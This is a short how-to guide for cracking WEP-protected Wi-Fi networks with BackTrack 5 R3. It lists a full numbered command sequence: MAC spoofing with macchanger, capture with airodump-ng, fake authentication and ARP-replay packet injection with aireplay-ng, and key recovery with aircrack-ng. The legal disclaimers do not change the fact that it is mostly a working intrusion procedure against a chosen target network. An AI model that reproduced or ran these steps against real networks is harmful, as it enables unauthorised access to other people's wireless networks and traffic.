How To: Crack WEP Encryption

In this tutorial, I am going to teach you how to hack into a password-protected wireless network/ Wi-Fi hotspot using BackTrack 5 R3. You can see a complete list of commands below but here's an overview of how we'll do it. First, we will associate our system with the access point / Wi-Fi hotspot. Then we will use packet injection to create a high volume of traffic on the network. Last, we will crack the WEP encryption and retrieve the password in plain text.

Please note that logging into a password protected access point without the owner's consent is illegal. The information presented in this tutorial is for educational purposes only and should not be used to perform malicious or illegal activities. Furthermore, the WEP crack process should only be performed on your own personal network or on a network that you have administrative privileges for. I will not be liable for what you do with this knowledge.

Back|Track 5 download link: backtrack-linux.org/downloads/

Here are the commands:

1) airmon-ng

2) airmon-ng stop (device name)

3) ifconfig (device name) down

4) macchanger --mac 00:11:22:33:44:55 (device name)

5) airmon-ng start (device name)

6) airodump-ng (device name)

*Once you see the access point that you want to attack, press "Ctrll+C" to stop the scan

*Before you continue, make note of the access point's ESSID, BSSID, and CH #

7) airodump-ng -c (channel #) -w (file name) --bssid (BSSID) (device name)

*Where '-w (file name)' is specified, the file name can be anything you want

*Open a second terminal but do NOT close the first terminal

8) aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 (device name)

9) aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55 (device name)

*Watch the data level. Once it increases to 5,000, open a third terminal and proceed

10) aircrack-ng -b (BSSID) (filename-01.cap)

*The aircrack process may require the data level to reach 20,000 or higher before it can successfully decrypt the WEP key.

Note: It is illegal to perform this attack on any network that you do not own. The information presented in this tutorial is for educational purposes only.